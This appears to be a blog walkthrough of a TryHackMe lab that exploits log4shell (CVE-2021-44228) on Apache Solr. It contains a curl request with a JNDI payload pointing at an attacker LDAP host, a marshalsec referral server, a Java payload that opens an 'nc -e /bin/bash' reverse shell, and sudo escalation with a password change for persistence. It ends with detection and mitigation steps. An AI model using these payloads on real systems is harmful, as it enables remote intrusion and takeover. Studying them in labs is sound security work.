Contents
Intro
On December 9, 2021, the infosec world was taken by storm by CVE-2021-44228 (and now also CVE-2021-45046) dubbed log4shell. These vulnerabilities target the Apache log4j Java library, specifically the JNDI (Java Naming and Directory Interface) feature used in configuration, log messages and parameters used by JNDI endpoints. This vulnerability can be leveraged as a full RCE (Remote Code Execution) exploit fairly trivially and because this is a library, it’s very difficult to know exactly where/when it’s in use. This makes log4shell one of the most dangerous vulnerabilities to date.
There have been patches released for both CVE-2021-44228 (version 2.15.0), which disables the “message lookup substitution” by default in the log messages and parameter and CVE-2021-45046 (version 2.16.0), which removed the feature altogether. If you have not patched to version 2.16.0 (or above), it is imperative that you do so.
John Hammond and TryHackMe put together a pretty cool THM room to demonstrate the log4j exploit in a simplified form. This isn’t all encompasing and is just one example of many vulnerable applications. The room is easy to follow along, but I’ve decided to do my own quick walkthrough.
Note: I am using a mix of THM’s AttackBox and my Kali attacker machine via VPN for this.
Reconnaissance
We start with a simple nmap scan using nmap -v [target IP]. Nothing really interesting here. Safe to assume that our vulnerable application is running on an uncommon port.
We then run an all ports nmap scan using nmap -T5 --open -v --min-rate=1000 --max-retries=2 -p- [target IP]
We see we have a newly discovered port that wasn’t picked up before. We can now further enumerate this port using nmap -sV -p8983 [target IP] and we see it is running Apache Solr.
Discovery
We can navigate over to this site and see that the directory where the logs are being stored is /var/solr/logs.
The room gives us some log files to examine and if we take a look at solr.log, we find some interesting pieces of information.
Here we see a number of INFO entries showing repeated requests.
The requests appear to be to a specific endpoint URL as shown below.
We also notice an interesting entrypoint that we could use to control the log entries.
Proof of Concept
As a simple proof of concept, we set up a netcat listener using nc -nlvp [port].
We use the curl command to make requests using the JNDI payload with curl ‘http://10.10.226.67:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.85.128:9999\}’.
Please note that you must edit the IP addresses and ports with your corresponding target IP and attacker machine IP and netcat listening port.
If we look over at our netcat listener, we see that we have established a connection. Of course, this is just an LDAP request, so you won’t get anything else here. However, we can build upon this.
Exploitation
We are using marshalsec as our LDAP referral server. If you are using THM’s AttackerBox like I am, then you can just simply navigate to /root/Rooms/solar/marshalsec and run the following to build the marshalsec utility:
mvn clean package -DskipTests
Once this is done, we can run java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://10.10.85.128:8000/#Exploit” to start our LDAP referral server.
Remember once again to adjust your target IP.
We create the following Exploit.java payload in a text editor of your choice:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exe("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}Save this file and compile it with javac Exploit.java -source 8 -target 8. Remove -source 8 -target 8 if not using the AttackBox.
We then start a simple python http server in another terminal window.
And another netcat listener in another terminal window.
And we fire our curl command once again curl ‘http://10.10.226.67:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.85.128:1389\}, this time adjusting to the correct port for our LDAP server.
Looking at our netcat listener, we can see that we have a shell. And this time, it’s an interactive shell. We can execute commands from the system here.
Persistence
From here, we can check to see if we can escalate privileges and establish persistence. Running sudo -l, we see that this user can execute root commands without providing a password. This probably would not be a realistic privesc on a production machine, but it serves the purpose for demonstration.
We can run sudo bash to escalate to root and change the password for user solr.
Now we can remotely access this machine via ssh from any machine, like our attacker machine.
Detection
We can take a look at the logs in this machine and detect the request entries of our exploit. Please note that it may not be that easy to detect these requests in a real-life scenario.
For this will use cat /var/solr/logs/solr.log | grep jndi
Mitigation
To mitigate this example, we can locate the solr.in.sh configuration file and edit as root it by appending SOLR_OPTS=”$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true”
Save and close this file and restart the solr service.
If we re-try the exploit, we will see that no request is made to our LDAP server our netcat listener does not receive a shell back this time.
Thanks
This is just one simplified example of a log4j exploit, but this vulnerability can be present in so many places. It is imperative that patches and mitigations are rolled out and implemented. Unfortunately, this vulnerability will be around for quite a while.
Special thanks to John Hammond and the TryHackMe team for a neat surface level look into this vulnerability. And to all of the incident responders out there, you are in my prayers during this rough time.